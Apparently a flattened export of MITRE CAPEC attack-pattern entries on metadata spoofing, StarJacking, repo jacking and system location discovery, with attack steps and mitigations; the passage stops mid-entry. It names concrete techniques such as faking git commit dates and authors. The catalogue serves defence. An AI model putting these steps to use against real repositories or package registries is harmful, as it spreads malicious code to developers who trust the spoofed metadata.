Corporation + + + + + 2021-10-21 + + + + + Updated Description, Execution_Flow, Prerequisites + + + + + + + + + + + + #CAPEC-690 + Metadata Spoofing + + + + + + + + + 690 + + + + + Metadata Spoofing + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary alters the metadata of a resource (e.g., file, directory, repository, etc.) to present a malicious resource as legitimate/credible.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;One approach to this attack entails the adversary altering a maliciously modified resource's metadata in order to hide their malicious activity. Another approach involves altering the metadata of an adversary-created resource to make the source appear more credible. Adversaries may spoof a variety of metadata across a number of resources, such as the following:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;Authors of Version Control System (VCS) repository commits&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Open source package statistics&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;File attributes, such as when a file was last update&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;The ultimate goal of a Metadata Spoofing attack is to trick victims into believing the malicious resource being provided originates from a reputable source. However, the victim instead leverages the malicious resource, which could result in a number of negative technical impacts.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identification of a resource whose metadata is to be spoofed</xhtml:div> + + + + + + + + + + + + #indSkillSkill42105 + Skill_42105 + + + + + + + + + + + + + + Ability to spoof a variety of metadata to convince victims the source is trusted + + + + + + + + + + + + #indConsequenceConsequence42108 + Consequence_42108 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42112 + Consequence_42112 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42116 + Consequence_42116 + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Validate metadata of resources such as authors, timestamps, and statistics.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Confirm the pedigree of open source packages and ensure the code being downloaded does not originate from another source.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Even if the metadata is properly checked and a user believes it to be legitimate, there may still be a chance that they've been duped. Therefore, leverage automated testing techniques to determine where malicious areas of the code may exist.</xhtml:div> + + + + + + + + + + + + #indContentHistoryContentHistory42127 + Content_History_42127 + + + + + + + + + + + + + + + + #indSubmissionSubmission42128 + Submission_42128 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-691 + Spoof Open-Source Software Metadata + + + + + + + + + 691 + + + + + Spoof Open-Source Software Metadata + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary spoofs open-source software metadata in an attempt to masquerade malicious software as popular, maintained, and trusted.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Due to open-source software's popularity, it serves as a desirable attack-vector for adversaries since a single malicious component may result in the exploitation of numerous systems/applications. Adversaries may, therefore, spoof the metadata pertaining to the open-source software in order to trick victims into downloading and using their malicious software. Examples of metadata that may be spoofed include:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;Owner of the software (e.g., repository or package owner)&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Author(s) of repository commits&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Frequency of repository commits&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Date/Time of repository commits&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Package or Repository "stars"&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Once the malicious software component has been integrated into an underlying application or executed on a system, the adversary is ultimately able to achieve numerous negative technical impacts within the system/application. This often occurs without any indication of compromise.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42154 + Related_Attack_Pattern_42154 + + + + + + + + + + + + + + 690 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42155 + Related_Attack_Pattern_42155 + + + + + + + + + + + + + + 184 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42156 + Related_Attack_Pattern_42156 + + + + + + + + + + + + + + 444 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42157 + Related_Attack_Pattern_42157 + + + + + + + + + + + + + + 630 + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identification of a popular open-source component whose metadata is to be spoofed.</xhtml:div> + + + + + + + + + + + + #indSkillSkill42163 + Skill_42163 + + + + + + + + + + + + + + Ability to spoof a variety of software metadata to convince victims the source is trusted. + + + + + + + + + + + + #indConsequenceConsequence42166 + Consequence_42166 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42170 + Consequence_42170 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42174 + Consequence_42174 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Before downloading open-source software, perform precursory metadata checks to determine the author(s), frequency of updates, when the software was last updated, and if the software is widely leveraged.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Within package managers, look for conflicting or non-unique repository references to determine if multiple packages share the same repository reference.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Reference vulnerability databases to determine if the software contains known vulnerabilities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Only download open-source software from reputable hosting sites or package managers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Only download open-source software that has been adequately signed by the developer(s). For repository commits/tags, look for the "Verified" status and for developers leveraging "Vigilant Mode" (GitHub) or similar modes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">After downloading open-source software, ensure integrity values have not changed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Before executing or incorporating the software, leverage automated testing techniques (e.g., static and dynamic analysis) to determine if the software behaves maliciously.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An adversary provides a malicious open-source library, claiming to provide extended logging features and functionality, and spoofs the metadata with that of a widely used legitimate library. The adversary then tricks victims into including this library in their underlying application. Once the malicious software is incorporated into the application, the adversary is able to manipulate and exfiltrate log data.</xhtml:div> + + + + + 494 + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareDependenciesAndDevelopmentTools + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + + + 1195.001 + + + + + Supply Chain Compromise: Compromise Software Dependencies and Development Tools + + + + + + + + + + + + #indTaxonomyMappingSupplyChainCompromiseCompromiseSoftwareSupplyChain + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + + + 1195.002 + + + + + Supply Chain Compromise: Compromise Software Supply Chain + + + + + + + + + + + + #indContentHistoryContentHistory42207 + Content_History_42207 + + + + + + + + + + + + + + + + #indSubmissionSubmission42208 + Submission_42208 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-692 + Spoof Version Control System Commit Metadata + + + + + + + + + 692 + + + + + Spoof Version Control System Commit Metadata + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary spoofs metadata pertaining to a Version Control System (VCS) (e.g., Git) repository's commits to deceive users into believing that the maliciously provided software is frequently maintained and originates from a trusted source.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Version Control Systems are widely used by developers to host, track, and manage source code files in an easy and synchronous manner. These systems are often leveraged to host open-source software that other developers can incorporate into their own applications or use as standalone applications. To prevent downloading vulnerable and/or malicious code, developers will often check the metadata of VCS repository commits to determine the repository's overall pedigree. This may include a variety of information, such as the following:&lt;/xhtml:p&gt; + &lt;xhtml:ul xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt; + &lt;xhtml:li&gt;Owner of the repository&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Author(s) of commits&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Frequency of commits&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Date/Time of commits&lt;/xhtml:li&gt; + &lt;xhtml:li&gt;Repository activity graphs&lt;/xhtml:li&gt; + &lt;/xhtml:ul&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;These precursory checks can assist developers in determining whether a trusted individual/organization is providing the source code, how often the code is updated, and the relative popularity of the software. However, an adversary can spoof this metadata to make a repository containing malicious code appear as originating from a trusted source, being frequently maintained, and being commonly used by other developers. Without performing additional security activities, unassuming developers may be duped by this spoofed metadata and include the malicious code within their systems/applications. The adversary is then ultimately able to achieve numerous negative technical impacts, while the victim remains unaware of any malicious activity.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42235 + Related_Attack_Pattern_42235 + + + + + + + + + + + + + + 691 + + + + + + + + + + + + #indAttackStepAttackStep42238 + Attack_Step_42238 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target] The adversary must first identify a target repository for them to spoof. Typically, this will be a popular and widely used repository, as to increase the amount of victims a successful attack will exploit.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42243 + Attack_Step_42243 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Create malicious repository] The adversary must create a malicious repository that imitates the legitimate repository being spoofed. This may include creating a username that closely matches the legitimate repository owner; creating a repository name that closely matches the legitimate repository name; uploading the legitimate source code; and more.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42248 + Attack_Step_42248 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spoof commit metadata] Once the malicious repository has been created, the adversary must then spoof the commit metadata to make the repository appear to be frequently maintained and originating from trusted sources.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Git Commit Timestamps: The adversary generates numerous fake commits while setting the "GIT_AUTHOR_DATE" and "GIT_COMMITTER_DATE" environment variables to a date which is to be spoofed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Git Commit Contributors: The adversary obtains a legitimate and trusted user's email address and then sets this information via the "git config" command. The adversary can then commit changes leveraging this username.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42255 + Attack_Step_42255 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exploit victims] The adversary infiltrates software and/or system environments with the goal of conducting additional attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Active: The adversary attempts to trick victims into downloading the malicious software by means such as phishing and social engineering.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Passive: The adversary waits for victims to download and leverage malicious software.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identification of a popular open-source repository whose metadata is to be spoofed.</xhtml:div> + + + + + + + + + + + + #indSkillSkill42267 + Skill_42267 + + + + + + + + + + + + + + Ability to spoof a variety of repository metadata to convince victims the source is trusted. + + + + + + + + + + + + #indConsequenceConsequence42270 + Consequence_42270 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42274 + Consequence_42274 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42278 + Consequence_42278 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Before downloading open-source software, perform precursory metadata checks to determine the author(s), frequency of updates, when the software was last updated, and if the software is widely leveraged.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Reference vulnerability databases to determine if the software contains known vulnerabilities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Only download open-source software from reputable hosting sites or package managers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Only download open-source software that has been adequately signed by the developer(s). For repository commits/tags, look for the "Verified" status and for developers leveraging "Vigilant Mode" (GitHub) or similar modes.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">After downloading open-source software, ensure integrity values have not changed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Before executing or incorporating the software, leverage automated testing techniques (e.g., static and dynamic analysis) to determine if the software behaves maliciously.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In July 2022, Checkmarx reported that GitHub commit metadata could be spoofed if unsigned commits were leveraged by the repository. Adversaries were able to spoof commit contributors, as well as the date/time of the commit. This resulted in commits appearing to originate from trusted developers and a GitHub activity graph that duped users into believing that the repository had been maintained for a significant period of time. The lack of commit metadata validation ultimately allowed adversaries to propagate malware to unsuspecting victims [REF-719] [REF-720].</xhtml:div> + + + + + 494 + + + + + + + + + + + + #indReferenceReference42301 + Reference_42301 + + + + + + + + + REF-719 + + + + + + + + + + + + #indReferenceReference42302 + Reference_42302 + + + + + + + + + REF-720 + + + + + + + + + + + + #indContentHistoryContentHistory42304 + Content_History_42304 + + + + + + + + + + + + + + + + #indSubmissionSubmission42305 + Submission_42305 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-693 + StarJacking + + + + + + + + + 693 + + + + + StarJacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary spoofs software popularity metadata to deceive users into believing that a maliciously provided package is widely used and originates from a trusted source.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Many open-source software packages are hosted via third-party package managers (e.g., Node Package Manager, PyPi, Yarn, etc.) that allow for easy integration of software components into existing development environments. A package manager will typically include various metadata about the software and often include a link to the package's source code repository, to assist developers in determining the trustworthiness of the software. One common statistic used in this decision-making process is the popularity of the package. This entails checking the amount of "Stars" the package has received, which the package manager displays based on the provided source code repository URL. However, many package managers do not validate the connection between the package and source code repository being provided. Adversaries can thus spoof the popularity statistic of a malicious package by associating a popular source code repository URL with the package. This can ultimately trick developers into unintentionally incorporating the malicious package into their development environment.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42322 + Related_Attack_Pattern_42322 + + + + + + + + + + + + + + 691 + + + + + + + + + + + + #indAttackStepAttackStep42325 + Attack_Step_42325 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target] The adversary must first identify a target package whose popularity statistics will be leveraged. This will be a popular and widely used package, as to increase the perceived pedigree of the malicious package.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42330 + Attack_Step_42330 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Spoof package popularity] The adversary provides their malicious package to a package manager and uses the source code repository URL identified in Step 1 to spoof the popularity of the package. This malicious package may also closely resemble the legitimate package whose statistics are being utilized.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42335 + Attack_Step_42335 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exploit victims] The adversary infiltrates development environments with the goal of conducting additional attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Active: The adversary attempts to trick victims into downloading the malicious package by means such as phishing and social engineering.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Passive: The adversary waits for victims to download and leverage the malicious package.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identification of a popular open-source package whose popularity metadata is to be used for the malicious package.</xhtml:div> + + + + + + + + + + + + #indSkillSkill42347 + Skill_42347 + + + + + + + + + + + + + + Ability to provide a package to a package manager and associate a popular package's source code repository URL. + + + + + + + + + + + + #indConsequenceConsequence42350 + Consequence_42350 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42354 + Consequence_42354 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42358 + Consequence_42358 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Before downloading open-source packages, perform precursory metadata checks to determine the author(s), frequency of updates, when the software was last updated, and if the software is widely leveraged.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Look for conflicting or non-unique repository references to determine if multiple packages share the same repository reference.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Reference vulnerability databases to determine if the software contains known vulnerabilities.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Only download open-source packages from reputable package managers.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">After downloading open-source packages, ensure integrity values have not changed.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Before executing or incorporating the package, leverage automated testing techniques (e.g., static and dynamic analysis) to determine if the software behaves maliciously.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">In April 2022, Checkmarx reported that packages hosted on NPM, PyPi, and Yarn do not properly validate that the provided GitHub repository URL actually pertains to the package being provided. Combined with additional attacks such as TypoSquatting, this allows adversaries to spoof popularity metadata by associating popular GitHub repository URLs with the malicious package. This can further lead to developers unintentionally including the malicious package within their development environments [REF-721].</xhtml:div> + + + + + 494 + + + + + + + + + + + + #indReferenceReference42381 + Reference_42381 + + + + + + + + + REF-721 + + + + + + + + + + + + #indContentHistoryContentHistory42383 + Content_History_42383 + + + + + + + + + + + + + + + + #indSubmissionSubmission42384 + Submission_42384 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-694 + System Location Discovery + + + + + + + + + 694 + + + + + System Location Discovery + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary collects information about the target system in an attempt to identify the system's geographical location.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Information gathered could include keyboard layout, system language, and timezone. This information may benefit an adversary in confirming the desired target and/or tailoring further attacks.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42400 + Related_Attack_Pattern_42400 + + + + + + + + + + + + + + 169 + + + + + + + + + + + + #indAttackStepAttackStep42403 + Attack_Step_42403 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[System Locale Information Discovery] The adversary examines system information from various sources such as registry and native API functions and correlates the gathered information to infer the geographical location of the target system</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Registry Query: Query the registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\ContentIndex\\Language\\Language_Dialect on Windows to obtain system language, Computer\\HKEY_CURRENT_USER\\Keyboard Layout\\Preload to obtain the hexadecimal language IDs of the current user's preloaded keyboard layouts, and Computer\\HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\TimeZoneInformation to obtain the system timezone configuration</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Native API Requests: Parse the outputs of Windows API functions GetTimeZoneInformation, GetUserDefaultUILanguage, GetSystemDefaultUILanguage, GetKeyboardLayoutList and GetUserDefaultLangID to obtain information about languages, keyboard layouts, and timezones installed on the system or on macOS or Linux systems, query locale to obtain the $LANG environment variable and view keyboard layout information or use timeanddatectl status to show the system clock settings.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Read Configuration Files: For macOS and Linux-based systems, view the /etc/vconsole.conf file to get information about the keyboard mapping and console font.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary must have some level of access to the system and have a basic understanding of the operating system in order to query the appropriate sources for relevant information.</xhtml:div> + + + + + + + + + + + + #indSkillSkill42416 + Skill_42416 + + + + + + + + + + + + + + The adversary must know how to query various system sources of information respective of the system's operating system to obtain the relevant information. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The adversary requires access to the target's operating system tools to query relevant system information. On windows, registry queries can be conducted with powershell, wmi, or regedit. On Linux or macOS, queries can be performed with through a shell.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence42422 + Consequence_42422 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">To reduce the amount of information gathered, one could disable various geolocation features of the operating system not required for system operation.</xhtml:div> + + + + + 497 + + + + + + + + + + + + #indTaxonomyMappingSystemLanguageDiscovery + System Language Discovery + + + + + + + + + + + + + + 1614 + + + + + System Language Discovery + + + + + + + + + + + + #indReferenceReference42440 + Reference_42440 + + + + + + + + + REF-727 + + + + + + + + + + + + #indReferenceReference42441 + Reference_42441 + + + + + + + + + REF-728 + + + + + + + + + + + + #indReferenceReference42442 + Reference_42442 + + + + + + + + + REF-729 + + + + + + + + + + + + #indReferenceReference42443 + Reference_42443 + + + + + + + + + REF-730 + + + + + + + + + + + + #indReferenceReference42444 + Reference_42444 + + + + + + + + + REF-731 + + + + + + + + + + + + #indContentHistoryContentHistory42446 + Content_History_42446 + + + + + + + + + + + + + + + + #indSubmissionSubmission42447 + Submission_42447 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + + + + + + + + #CAPEC-695 + Repo Jacking + + + + + + + + + 695 + + + + + Repo Jacking + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary takes advantage of the redirect property of directly linked Version Control System (VCS) repositories to trick users into incorporating malicious code into their applications.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Software developers may directly reference a VCS repository (i.e., via a hardcoded URL) within source code to integrate the repository as a dependency for the underlying application. If the repository owner/maintainer modifies the repository name, changes their VCS username, or transfers ownership of the repository, the VCS implements a redirect to the new repository location so that existing software referencing the repository will not break. However, if the original location of the repository is reestablished, the VCS will revert to resolving the hardcoded path. Adversaries may, therefore, re-register deleted or previously used usernames and recreate repositories with malicious code to infect applications referencing the repository. When an application then fetches the desired dependency, it will now reference the adversary's malicious repository since the hardcoded repository path is once again active. This ultimately allows the adversary to infect numerous applications, while achieving a variety of negative technical impacts.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern42464 + Related_Attack_Pattern_42464 + + + + + + + + + + + + + + 616 + + + + + + + + + + + + #indAttackStepAttackStep42467 + Attack_Step_42467 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Identify target] The adversary must first identify a target repository that is commonly used and whose owner/maintainer has either changed/deleted their username or transferred ownership of the repository and then deleted their account. The target should typically be a popular and widely used package, as to increase the scope of the attack.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42472 + Attack_Step_42472 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Recreate initial repository path] The adversary re-registers the account that was renamed/deleted by the target repository's owner/maintainer and recreates the target repository with malicious code intended to exploit an application. These steps may need to happen in reverse (i.e., recreate repository and then rename an existing account to the target account) if protections are in place to prevent repository reuse.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep42477 + Attack_Step_42477 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Exploit victims] The adversary's malicious code is incorporated into applications that directly reference the initial repository, which further allows the adversary to conduct additional attacks.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Identification of a popular repository that may be directly referenced in numerous software applications</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">A repository owner/maintainer who has recently changed their username or deleted their account</xhtml:div> + + + + + + + + + + + + #indSkillSkill42488 + Skill_42488 + + + + + + + + + + + + + + Ability to create an account on a VCS hosting site and recreate an existing directory structure. + + + + + + + + + + + + #indSkillSkill42489 + Skill_42489 + + + + + + + + + + + + + + Ability to create malware that can exploit various software applications. + + + + + + + + + + + + #indConsequenceConsequence42492 + Consequence_42492 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence42497 + Consequence_42497 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Leverage 